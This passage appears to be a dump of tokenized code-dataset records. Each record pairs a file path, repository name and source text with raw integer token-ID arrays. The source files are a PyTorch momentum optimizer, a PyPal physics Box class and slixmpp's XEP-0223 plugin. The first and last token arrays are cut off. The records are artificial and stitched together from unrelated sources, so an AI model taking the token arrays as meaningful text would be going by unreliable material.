4299, 29889, 11333, 29898, 348, 10700, 28179, 29918, 3027, 29961, 8516, 12622, 1275, 7442, 29889, 1191, 3317, 29898, 2057, 29918, 509, 2806, 29918, 1643, 22164, 13, 18884, 1596, 703, 5160, 5337, 5229, 29892, 322, 3646, 1904, 5149, 770, 2164, 1967, 23157, 13, 18884, 19901, 653, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 29962, 353, 7442, 29889, 7192, 13, 9651, 1683, 29901, 13, 18884, 1596, 703, 5160, 5337, 5229, 29892, 541, 3646, 1904, 3984, 1990, 2164, 1967, 23157, 13, 18884, 19901, 653, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 29962, 353, 29871, 29900, 13, 13, 4706, 1683, 29901, 13, 9651, 396, 17946, 411, 385, 334, 348, 10700, 28179, 29930, 1967, 29892, 408, 445, 1122, 2307, 367, 3307, 304, 17928, 278, 3646, 1904, 13, 9651, 6782, 29918, 10700, 28179, 353, 443, 10700, 28179, 29918, 3027, 13, 632, 13, 9651, 1596, 703, 26036, 12965, 338, 376, 718, 851, 29898, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 3286, 571, 29918, 10700, 28179, 29961, 8516, 12622, 876, 13, 9651, 1596, 703, 3338, 618, 8760, 3858, 338, 376, 718, 851, 29898, 9302, 29889, 1191, 3317, 29898, 2057, 29918, 509, 2806, 29918, 1643, 4961, 13, 13, 13, 9651, 396, 29479, 2740, 363, 6782, 5337, 408, 1304, 297, 1102, 1501, 634, 394, 29936, 2729, 373, 775, 4944, 491, 529, 5813, 29958, 313, 29933, 621, 479, 12016, 29897, 13, 9651, 5305, 353, 6257, 29918, 328, 27547, 448, 443, 10700, 28179, 29918, 3027, 13, 9651, 4319, 353, 29871, 29900, 13, 9651, 1781, 353, 6213, 13, 9651, 321, 3232, 29918, 19541, 353, 29871, 29896, 13, 9651, 413, 353, 29871, 29896, 29900, 13, 13, 9651, 396, 29934, 481, 333, 368, 12439, 6257, 1298, 363, 7581, 2740, 13, 9651, 363, 903, 297, 3464, 29898, 29895, 1125, 13, 18884, 6782, 29918, 10700, 28179, 353, 443, 10700, 28179, 29918, 3027, 718, 321, 3232, 29918, 19541, 334, 5305, 13, 18884, 6782, 29918, 10700, 28179, 353, 7442, 29889, 24049, 29898, 3286, 571, 29918, 10700, 28179, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 462, 13, 18884, 1596, 703, 29923, 3232, 338, 376, 718, 851, 29898, 5463, 29918, 19541, 876, 13, 18884, 565, 313, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 3286, 571, 29918, 10700, 28179, 29961, 8516, 12622, 2804, 7442, 29889, 1191, 3317, 29898, 2057, 29918, 509, 2806, 29918, 1643, 22164, 13, 462, 1678, 1781, 353, 321, 3232, 29918, 19541, 13, 462, 1678, 2867, 13, 18884, 1683, 29901, 13, 462, 1678, 4319, 353, 321, 3232, 29918, 19541, 13, 13, 18884, 321, 3232, 29918, 19541, 334, 29922, 29871, 29906, 13, 13, 9651, 1596, 703, 13555, 25658, 7581, 2740, 29892, 278, 12965, 338, 376, 718, 851, 29898, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 3286, 571, 29918, 10700, 28179, 29961, 8516, 12622, 876, 13, 29871, 13, 9651, 565, 7442, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 3286, 571, 29918, 10700, 28179, 29961, 8516, 12622, 1275, 7442, 29889, 1191, 3317, 29898, 2057, 29918, 509, 2806, 29918, 1643, 1125, 13, 18884, 1596, 703, 1252, 1112, 2556, 2740, 5229, 1159, 13, 18884, 19901, 653, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 29962, 353, 7442, 29889, 7192, 13, 18884, 1596, 703, 1576, 5418, 338, 376, 718, 851, 29898, 328, 27547, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 12622, 13, 13, 9651, 1683, 29901, 13, 18884, 363, 903, 297, 3464, 29898, 29895, 1125, 13, 462, 1678, 321, 3232, 29918, 19541, 353, 313, 16773, 718, 4319, 29897, 847, 29871, 29906, 29889, 13, 462, 1678, 6782, 29918, 10700, 28179, 353, 443, 10700, 28179, 29918, 3027, 718, 321, 3232, 29918, 19541, 334, 5305, 13, 462, 1678, 6782, 29918, 10700, 28179, 353, 7442, 29889, 24049, 29898, 3286, 571, 29918, 10700, 28179, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 13, 462, 1678, 565, 313, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 3286, 571, 29918, 10700, 28179, 29961, 8516, 12622, 2804, 7442, 29889, 1191, 3317, 29898, 2057, 29918, 509, 2806, 29918, 1643, 22164, 13, 462, 4706, 1781, 353, 321, 3232, 29918, 19541, 13, 462, 1678, 1683, 29901, 13, 462, 4706, 4319, 353, 321, 3232, 29918, 19541, 13, 13, 18884, 19901, 653, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 1402, 903, 353, 1583, 29889, 19244, 29918, 16414, 29898, 348, 10700, 28179, 29918, 3027, 29889, 1579, 8606, 3285, 6782, 29918, 10700, 28179, 29889, 1579, 8606, 3101, 13, 18884, 1596, 703, 13555, 3918, 7581, 2740, 29892, 278, 12965, 338, 376, 718, 851, 29898, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 3286, 571, 29918, 10700, 28179, 29961, 8516, 12622, 876, 13, 18884, 1596, 703, 1576, 5418, 338, 376, 718, 851, 29898, 328, 27547, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 12622, 13, 13, 4706, 736, 19901, 653, 29918, 19244, 13, 13, 13, 29937, 17435, 365, 29899, 29900, 6652, 749, 6212, 26514, 18610, 13, 13, 1990, 1298, 3538, 29918, 1131, 547, 29918, 29931, 29900, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 5228, 3538, 4165, 547, 13, 1678, 17928, 1884, 29918, 19244, 29918, 16414, 353, 17928, 1884, 29889, 5721, 2925, 29889, 29931, 29900, 396, 4013, 338, 278, 5418, 12714, 1304, 2645, 13883, 491, 383, 1507, 3313, 16661, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 5228, 3538, 29918, 29931, 29900, 29915, 13, 13, 1678, 396, 4013, 338, 278, 5418, 12714, 1304, 304, 19745, 1082, 278, 2186, 24610, 310, 278, 4133, 4558, 515, 278, 2441, 13, 1678, 822, 5418, 29918, 16414, 29898, 1311, 29892, 4608, 29896, 29892, 4608, 29906, 1125, 13, 4706, 5418, 353, 4560, 2272, 29889, 1028, 15238, 29889, 19244, 29889, 3391, 4056, 29898, 8111, 29896, 29892, 4608, 29906, 11877, 2435, 29898, 8111, 29896, 29897, 13, 4706, 5418, 29918, 978, 353, 525, 29950, 314, 4056, 313, 29931, 29899, 29900, 16029, 13, 4706, 736, 5418, 29892, 5418, 29918, 978, 13, 13, 1990, 15795, 29918, 412, 2496, 29918, 1131, 547, 29898, 3149, 3538, 29918, 1131, 547, 29918, 29931, 29900, 1125, 13, 1678, 396, 797, 27069, 278, 8393, 310, 278, 1298, 3538, 29918, 1131, 547, 29918, 29931, 29900, 770, 29892, 769, 26556, 278, 5337, 1158, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 29903, 1997, 2855, 15666, 2496, 3782, 895, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29903, 1997, 29918, 392, 29918, 15666, 2496, 29915, 13, 13, 13, 29937, 17435, 365, 29899, 29906, 6652, 749, 6212, 26514, 18610, 13, 13, 1990, 1999, 2760, 29918, 1217, 895, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 10358, 2760, 29918, 1217, 895, 29915, 13, 1678, 396, 2887, 278, 3847, 5337, 2307, 3913, 278, 1999, 2760, 9090, 11462, 5337, 491, 2322, 29892, 694, 3620, 526, 5181, 13, 13, 1990, 330, 17019, 29918, 1217, 895, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 2528, 3321, 29954, 17019, 3782, 895, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29954, 17019, 29918, 1217, 895, 29915, 13, 13, 1990, 1298, 3538, 29918, 1131, 547, 29918, 29931, 29906, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 396, 9842, 445, 1873, 310, 278, 1298, 29899, 3538, 5337, 7846, 1169, 278, 365, 29906, 5418, 12714, 515, 278, 3847, 770, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 5228, 3538, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 5228, 3538, 29918, 29931, 29906, 29915, 13, 13, 1990, 383, 21576, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 25584, 993, 10140, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29943, 21576, 29915, 268, 13, 1678, 396, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 25584, 993, 4165, 547, 13, 1678, 396, 5337, 29918, 1853, 29918, 3972, 353, 525, 29943, 21576, 29915, 13, 13, 1990, 350, 7833, 29918, 29931, 29906, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 29931, 29906, 16616, 13463, 1230, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29933, 7833, 29918, 29931, 29906, 29915, 13, 13, 1990, 21784, 29943, 1507, 29918, 29931, 29906, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 2772, 1022, 29943, 1507, 29931, 29906, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 2772, 1022, 29943, 1507, 29918, 29931, 29906, 29915, 13, 13, 1990, 10452, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 396, 3563, 3539, 3847, 5823, 363, 1023, 5684, 8393, 584, 954, 29918, 1524, 800, 322, 1480, 29918, 17991, 29918, 29876, 29918, 24530, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 5337, 29918, 27774, 29892, 13, 462, 1678, 28770, 291, 29922, 1181, 324, 1884, 29889, 29883, 21977, 29889, 29924, 275, 1990, 2450, 3285, 29871, 13, 462, 1678, 954, 29918, 1524, 800, 29922, 29945, 29900, 29892, 13, 462, 1678, 1480, 29918, 17991, 29918, 29876, 29918, 24530, 29922, 29945, 29900, 1125, 13, 9651, 3847, 29918, 1131, 547, 17255, 2344, 12035, 1311, 29892, 5337, 29918, 27774, 29892, 13, 462, 1678, 28770, 291, 29897, 13, 9651, 1583, 29889, 1949, 29918, 1524, 800, 353, 954, 29918, 1524, 800, 13, 9651, 1583, 29889, 1188, 29918, 17991, 29918, 29876, 29918, 24530, 353, 1480, 29918, 17991, 29918, 29876, 29918, 24530, 13, 268, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 17109, 653, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 17109, 653, 29915, 13, 13, 1678, 396, 3563, 3539, 1653, 19901, 27521, 1158, 29892, 408, 278, 10452, 5337, 4893, 263, 6790, 1353, 310, 24372, 13, 1678, 822, 1653, 29918, 328, 874, 27521, 29898, 1311, 29892, 8225, 29918, 1272, 29892, 8225, 29918, 1643, 1125, 13, 13, 4706, 19901, 27521, 29879, 353, 1583, 29889, 1131, 547, 29918, 29888, 4299, 29898, 22256, 29918, 1272, 29892, 8225, 29918, 1643, 29892, 24372, 29922, 1311, 29889, 1949, 29918, 1524, 800, 29892, 29871, 13, 9651, 1480, 29918, 17991, 29918, 29876, 29918, 24530, 29922, 1311, 29889, 1188, 29918, 17991, 29918, 29876, 29918, 24530, 29892, 26952, 29922, 8824, 29892, 443, 4058, 29922, 8824, 29897, 13, 13, 4706, 19901, 653, 29918, 21134, 353, 7442, 29889, 294, 2378, 4197, 29874, 29889, 328, 874, 27521, 29918, 1990, 363, 263, 297, 19901, 27521, 29879, 2314, 13, 4706, 19901, 27521, 29918, 8346, 353, 7442, 29889, 294, 2378, 4197, 29874, 29889, 10700, 28179, 363, 263, 297, 19901, 27521, 29879, 2314, 13, 13, 4706, 736, 19901, 27521, 29918, 8346, 29892, 19901, 653, 29918, 21134, 13, 13, 13, 29937, 17435, 365, 29899, 25433, 6652, 749, 6212, 26514, 18610, 13, 13, 1990, 6782, 29918, 1131, 547, 29918, 29931, 25433, 29898, 3286, 571, 29918, 1131, 547, 29918, 29931, 29906, 1125, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 4300, 571, 29918, 29931, 25433, 29915, 13, 13, 1678, 822, 5418, 29918, 16414, 29898, 1311, 29892, 4608, 29896, 29892, 4608, 29906, 1125, 13, 4706, 5418, 353, 4560, 2272, 29889, 1028, 15238, 29889, 19244, 29889, 305, 774, 952, 354, 29894, 29898, 8111, 29896, 29892, 4608, 29906, 29897, 13, 4706, 5418, 29918, 978, 353, 525, 29907, 25842, 952, 354, 29894, 313, 29931, 29899, 25433, 16029, 13, 4706, 736, 5418, 29892, 5418, 29918, 978, 13, 13, 1990, 383, 10749, 29924, 29918, 1131, 547, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 25584, 993, 10140, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29943, 10749, 29924, 29915, 13, 1678, 17928, 1884, 29918, 19244, 29918, 16414, 353, 17928, 1884, 29889, 5721, 2925, 29889, 11667, 4951, 537, 13, 13, 1678, 822, 5418, 29918, 16414, 29898, 1311, 29892, 4608, 29896, 29892, 4608, 29906, 1125, 13, 4706, 5418, 353, 4560, 2272, 29889, 1028, 15238, 29889, 19244, 29889, 305, 774, 952, 354, 29894, 29898, 8111, 29896, 29892, 4608, 29906, 29897, 13, 4706, 5418, 29918, 978, 353, 525, 29907, 25842, 952, 354, 29894, 313, 29931, 29899, 25433, 16029, 13, 4706, 736, 5418, 29892, 5418, 29918, 978, 13, 13, 1990, 350, 7833, 29918, 11667, 4951, 537, 29918, 1131, 547, 29898, 29943, 10749, 29924, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 11667, 4951, 537, 16616, 13463, 1230, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29933, 7833, 29918, 29931, 25433, 29915, 13, 13, 1990, 21784, 29943, 1507, 29918, 29931, 25433, 29918, 1131, 547, 29898, 29943, 10749, 29924, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 2772, 1022, 29943, 1507, 11667, 4951, 537, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 2772, 1022, 29943, 1507, 29918, 29931, 25433, 29915, 13, 13, 1990, 341, 7833, 29918, 1131, 547, 29898, 29943, 10749, 29924, 29918, 1131, 547, 1125, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 29924, 2932, 398, 13463, 1230, 4165, 547, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 29924, 7833, 29915, 13, 13, 13, 2 ]
labs/08_frameworks/solutions/momentum_optimizer.py
soufiomario/labs-Deep-learning
1,398
116986
class MomentumGradientDescent(GradientDescent): def __init__(self, params, lr=0.1, momentum=.9): super(MomentumGradientDescent, self).__init__(params, lr) self.momentum = momentum self.velocities = [torch.zeros_like(param, requires_grad=False) for param in params] def step(self): with torch.no_grad(): for i, (param, velocity) in enumerate(zip(self.params, self.velocities)): velocity = self.momentum * velocity + param.grad param -= self.lr * velocity self.velocities[i] = velocity
[ 1, 770, 341, 2932, 398, 25584, 993, 4002, 1760, 29898, 25584, 993, 4002, 1760, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8636, 29892, 301, 29878, 29922, 29900, 29889, 29896, 29892, 19399, 21098, 29929, 1125, 13, 4706, 2428, 29898, 29924, 2932, 398, 25584, 993, 4002, 1760, 29892, 1583, 467, 1649, 2344, 12035, 7529, 29892, 301, 29878, 29897, 13, 4706, 1583, 29889, 29885, 2932, 398, 353, 19399, 13, 4706, 1583, 29889, 955, 542, 1907, 353, 518, 7345, 305, 29889, 3298, 359, 29918, 4561, 29898, 3207, 29892, 6858, 29918, 5105, 29922, 8824, 29897, 13, 462, 965, 363, 1828, 297, 8636, 29962, 13, 13, 1678, 822, 4331, 29898, 1311, 1125, 13, 4706, 411, 4842, 305, 29889, 1217, 29918, 5105, 7295, 13, 9651, 363, 474, 29892, 313, 3207, 29892, 12885, 29897, 297, 26985, 29898, 7554, 29898, 1311, 29889, 7529, 29892, 13, 462, 462, 462, 418, 1583, 29889, 955, 542, 1907, 22164, 13, 18884, 12885, 353, 1583, 29889, 29885, 2932, 398, 334, 12885, 718, 1828, 29889, 5105, 13, 18884, 1828, 22361, 1583, 29889, 29212, 334, 12885, 13, 18884, 1583, 29889, 955, 542, 1907, 29961, 29875, 29962, 353, 12885, 13, 2 ]
pypal/body/box.py
code-forger/PyPal
0
1615439
<reponame>code-forger/PyPal<filename>pypal/body/box.py from pypal import private_globals as _pal import ctypes as c import weakref from body import Body class Box(Body): """ A Dynamic Ridgid Cuboid. """ def __init__(self, pos, size, mass = 1.): """ Parameters: pos: ``float[3]`` The x, y, z position of the Box. size: ``float[3]`` The width, height, depth, of the Box. mass: ``float`` The mass of the Box. """ self._size = size self.obj = _pal.lib.body_box_create(c.c_float(pos[0]),c.c_float(pos[1]),c.c_float(pos[2]),c.c_float(size[0]),c.c_float(size[1]),c.c_float(size[2]),c.c_float(mass)) self._body_base = _pal.lib.cast_box_body_base(self.obj) self._body = _pal.lib.cast_box_body(self.obj) def __str__(self): x, y, z = self.get_position() return "A Box at : %.2f, %.2f, %.2f" % (x, y, z) def get_size(self): """ Returns the size of the object in a 3 part tuple. """ return self._size
[ 1, 529, 276, 1112, 420, 29958, 401, 29899, 1454, 914, 29914, 19737, 18210, 29966, 9507, 29958, 29886, 1478, 284, 29914, 2587, 29914, 1884, 29889, 2272, 13, 3166, 282, 1478, 284, 1053, 2024, 29918, 23705, 1338, 408, 903, 7830, 13, 5215, 274, 8768, 408, 274, 13, 5215, 8062, 999, 13, 3166, 3573, 1053, 24928, 13, 1990, 11773, 29898, 8434, 1125, 13, 1678, 9995, 319, 27747, 390, 333, 29887, 333, 28618, 3398, 29889, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 926, 29892, 2159, 29892, 4158, 353, 29871, 29896, 9575, 13, 4706, 9995, 13, 4706, 12662, 2699, 29901, 13, 3986, 926, 29901, 4954, 7411, 29961, 29941, 7961, 29952, 450, 921, 29892, 343, 29892, 503, 2602, 310, 278, 11773, 29889, 13, 3986, 2159, 29901, 4954, 7411, 29961, 29941, 7961, 29952, 450, 2920, 29892, 3171, 29892, 10809, 29892, 310, 278, 11773, 29889, 13, 3986, 4158, 29901, 4954, 7411, 16159, 450, 4158, 310, 278, 11773, 29889, 13, 4706, 9995, 13, 4706, 1583, 3032, 2311, 353, 2159, 13, 4706, 1583, 29889, 5415, 353, 903, 7830, 29889, 1982, 29889, 2587, 29918, 1884, 29918, 3258, 29898, 29883, 29889, 29883, 29918, 7411, 29898, 1066, 29961, 29900, 11724, 29883, 29889, 29883, 29918, 7411, 29898, 1066, 29961, 29896, 11724, 29883, 29889, 29883, 29918, 7411, 29898, 1066, 29961, 29906, 11724, 29883, 29889, 29883, 29918, 7411, 29898, 2311, 29961, 29900, 11724, 29883, 29889, 29883, 29918, 7411, 29898, 2311, 29961, 29896, 11724, 29883, 29889, 29883, 29918, 7411, 29898, 2311, 29961, 29906, 11724, 29883, 29889, 29883, 29918, 7411, 29898, 25379, 876, 13, 4706, 1583, 3032, 2587, 29918, 3188, 353, 903, 7830, 29889, 1982, 29889, 4384, 29918, 1884, 29918, 2587, 29918, 3188, 29898, 1311, 29889, 5415, 29897, 13, 4706, 1583, 3032, 2587, 353, 903, 7830, 29889, 1982, 29889, 4384, 29918, 1884, 29918, 2587, 29898, 1311, 29889, 5415, 29897, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 921, 29892, 343, 29892, 503, 353, 1583, 29889, 657, 29918, 3283, 580, 13, 4706, 736, 376, 29909, 11773, 472, 584, 18695, 29906, 29888, 29892, 18695, 29906, 29888, 29892, 18695, 29906, 29888, 29908, 1273, 313, 29916, 29892, 343, 29892, 503, 29897, 13, 13, 1678, 822, 679, 29918, 2311, 29898, 1311, 1125, 13, 4706, 9995, 16969, 278, 2159, 310, 278, 1203, 297, 263, 29871, 29941, 760, 18761, 29889, 9995, 13, 4706, 736, 1583, 3032, 2311, 2 ]
slixmpp/plugins/xep_0223.py
marconfus/slixmpp
0
18246
""" Slixmpp: The Slick XMPP Library Copyright (C) 2012 <NAME>, <NAME> This file is part of Slixmpp. See the file LICENSE for copying permission. """ import logging from slixmpp.xmlstream import register_stanza_plugin from slixmpp.plugins.base import BasePlugin, register_plugin log = logging.getLogger(__name__) class XEP_0223(BasePlugin): """ XEP-0223: Persistent Storage of Private Data via PubSub """ name = 'xep_0223' description = 'XEP-0223: Persistent Storage of Private Data via PubSub' dependencies = {'xep_0163', 'xep_0060', 'xep_0004'} profile = {'pubsub#persist_items': True, 'pubsub#access_model': 'whitelist'} def configure(self, node, ifrom=None, callback=None, timeout=None): """ Update a node's configuration to match the public storage profile. """ # TODO: that cannot possibly work, why is this here? config = self.xmpp['xep_0004'].Form() config['type'] = 'submit' for field, value in self.profile.items(): config.add_field(var=field, value=value) return self.xmpp['xep_0060'].set_node_config(None, node, config, ifrom=ifrom, callback=callback, timeout=timeout) def store(self, stanza, node=None, id=None, ifrom=None, options=None, callback=None, timeout=None, timeout_callback=None): """ Store private data via PEP. This is just a (very) thin wrapper around the XEP-0060 publish() method to set the defaults expected by PEP. Arguments: stanza -- The private content to store. node -- The node to publish the content to. If not specified, the stanza's namespace will be used. id -- Optionally specify the ID of the item. options -- Publish options to use, which will be modified to fit the persistent storage option profile. ifrom -- Specify the sender's JID. timeout -- The length of time (in seconds) to wait for a response before exiting the send call if blocking is used. Defaults to slixmpp.xmlstream.RESPONSE_TIMEOUT callback -- Optional reference to a stream handler function. Will be executed when a reply stanza is received. """ if not options: options = self.xmpp['xep_0004'].stanza.Form() options['type'] = 'submit' options.add_field( var='FORM_TYPE', ftype='hidden', value='http://jabber.org/protocol/pubsub#publish-options') fields = options['fields'] for field, value in self.profile.items(): if field not in fields: options.add_field(var=field) options.get_fields()[field]['value'] = value return self.xmpp['xep_0163'].publish(stanza, node, options=options, ifrom=ifrom, callback=callback, timeout=timeout, timeout_callback=timeout_callback) def retrieve(self, node, id=None, item_ids=None, ifrom=None, callback=None, timeout=None, timeout_callback=None): """ Retrieve private data via PEP. This is just a (very) thin wrapper around the XEP-0060 publish() method to set the defaults expected by PEP. Arguments: node -- The node to retrieve content from. id -- Optionally specify the ID of the item. item_ids -- Specify a group of IDs. If id is also specified, it will be included in item_ids. ifrom -- Specify the sender's JID. timeout -- The length of time (in seconds) to wait for a response before exiting the send call if blocking is used. Defaults to slixmpp.xmlstream.RESPONSE_TIMEOUT callback -- Optional reference to a stream handler function. Will be executed when a reply stanza is received. """ if item_ids is None: item_ids = [] if id is not None: item_ids.append(id) return self.xmpp['xep_0060'].get_items(None, node, item_ids=item_ids, ifrom=ifrom, callback=callback, timeout=timeout, timeout_callback=timeout_callback) register_plugin(XEP_0223)
[ 1, 9995, 13, 1678, 317, 492, 29916, 29885, 407, 29901, 450, 317, 1406, 1060, 3580, 29925, 9538, 13, 1678, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29906, 529, 5813, 10202, 529, 5813, 29958, 13, 1678, 910, 934, 338, 760, 310, 317, 492, 29916, 29885, 407, 29889, 13, 13, 1678, 2823, 278, 934, 365, 2965, 1430, 1660, 363, 17596, 10751, 29889, 13, 15945, 29908, 13, 13, 5215, 12183, 13, 13, 3166, 20662, 29916, 29885, 407, 29889, 3134, 5461, 1053, 6036, 29918, 303, 8520, 29918, 8582, 13, 3166, 20662, 29916, 29885, 407, 29889, 12800, 29889, 3188, 1053, 7399, 16288, 29892, 6036, 29918, 8582, 13, 13, 13, 1188, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 13, 1990, 1060, 15488, 29918, 29900, 29906, 29906, 29941, 29898, 5160, 16288, 1125, 13, 13, 1678, 9995, 13, 1678, 1060, 15488, 29899, 29900, 29906, 29906, 29941, 29901, 9034, 9696, 26162, 310, 12230, 3630, 3025, 8042, 4035, 13, 1678, 9995, 13, 13, 1678, 1024, 353, 525, 29916, 1022, 29918, 29900, 29906, 29906, 29941, 29915, 13, 1678, 6139, 353, 525, 29990, 15488, 29899, 29900, 29906, 29906, 29941, 29901, 9034, 9696, 26162, 310, 12230, 3630, 3025, 8042, 4035, 29915, 13, 1678, 9962, 353, 11117, 29916, 1022, 29918, 29900, 29896, 29953, 29941, 742, 525, 29916, 1022, 29918, 29900, 29900, 29953, 29900, 742, 525, 29916, 1022, 29918, 29900, 29900, 29900, 29946, 10827, 13, 13, 1678, 8722, 353, 11117, 5467, 1491, 29937, 6774, 391, 29918, 7076, 2396, 5852, 29892, 13, 1669, 525, 5467, 1491, 29937, 5943, 29918, 4299, 2396, 525, 1332, 7454, 391, 10827, 13, 13, 1678, 822, 10822, 29898, 1311, 29892, 2943, 29892, 565, 456, 29922, 8516, 29892, 6939, 29922, 8516, 29892, 11815, 29922, 8516, 1125, 13, 4706, 9995, 13, 4706, 10318, 263, 2943, 29915, 29879, 5285, 304, 1993, 278, 970, 8635, 8722, 29889, 13, 4706, 9995, 13, 4706, 396, 14402, 29901, 393, 2609, 10075, 664, 29892, 2020, 338, 445, 1244, 29973, 13, 4706, 2295, 353, 1583, 29889, 29916, 29885, 407, 1839, 29916, 1022, 29918, 29900, 29900, 29900, 29946, 13359, 2500, 580, 13, 4706, 2295, 1839, 1853, 2033, 353, 525, 7892, 29915, 13, 13, 4706, 363, 1746, 29892, 995, 297, 1583, 29889, 10185, 29889, 7076, 7295, 13, 9651, 2295, 29889, 1202, 29918, 2671, 29898, 1707, 29922, 2671, 29892, 995, 29922, 1767, 29897, 13, 13, 4706, 736, 1583, 29889, 29916, 29885, 407, 1839, 29916, 1022, 29918, 29900, 29900, 29953, 29900, 13359, 842, 29918, 3177, 29918, 2917, 29898, 8516, 29892, 2943, 29892, 2295, 29892, 13, 462, 462, 462, 268, 565, 456, 29922, 361, 456, 29892, 13, 462, 462, 462, 268, 6939, 29922, 14035, 29892, 13, 462, 462, 462, 268, 11815, 29922, 15619, 29897, 13, 13, 1678, 822, 3787, 29898, 1311, 29892, 380, 8520, 29892, 2943, 29922, 8516, 29892, 1178, 29922, 8516, 29892, 565, 456, 29922, 8516, 29892, 3987, 29922, 8516, 29892, 13, 795, 6939, 29922, 8516, 29892, 11815, 29922, 8516, 29892, 11815, 29918, 14035, 29922, 8516, 1125, 13, 4706, 9995, 13, 4706, 14491, 2024, 848, 3025, 349, 15488, 29889, 13, 13, 4706, 910, 338, 925, 263, 313, 1201, 29897, 16835, 14476, 2820, 278, 1060, 15488, 29899, 29900, 29900, 29953, 29900, 9805, 580, 13, 4706, 1158, 304, 731, 278, 21274, 3806, 491, 349, 15488, 29889, 13, 13, 4706, 11842, 9331, 29901, 13, 9651, 380, 8520, 259, 1192, 450, 2024, 2793, 304, 3787, 29889, 13, 9651, 2943, 268, 1192, 450, 2943, 304, 9805, 278, 2793, 304, 29889, 960, 451, 6790, 29892, 13, 462, 4706, 278, 380, 8520, 29915, 29879, 7397, 674, 367, 1304, 29889, 13, 9651, 1178, 539, 1192, 10831, 635, 6084, 278, 3553, 310, 278, 2944, 29889, 13, 9651, 3987, 29871, 1192, 12904, 3987, 304, 671, 29892, 607, 674, 367, 9120, 304, 13, 462, 4706, 6216, 278, 28152, 8635, 2984, 8722, 29889, 13, 9651, 565, 456, 1678, 1192, 12048, 1598, 278, 10004, 29915, 29879, 435, 1367, 29889, 13, 9651, 11815, 29871, 1192, 450, 3309, 310, 931, 313, 262, 6923, 29897, 304, 4480, 363, 263, 2933, 13, 462, 4706, 1434, 6876, 292, 278, 3638, 1246, 565, 23473, 338, 1304, 29889, 13, 462, 4706, 13109, 29879, 304, 20662, 29916, 29885, 407, 29889, 3134, 5461, 29889, 1525, 5550, 1164, 1660, 29918, 15307, 12015, 13, 9651, 6939, 1192, 28379, 3407, 304, 263, 4840, 7834, 740, 29889, 2811, 13, 462, 4706, 367, 8283, 746, 263, 8908, 380, 8520, 338, 4520, 29889, 13, 4706, 9995, 13, 4706, 565, 451, 3987, 29901, 13, 9651, 3987, 353, 1583, 29889, 29916, 29885, 407, 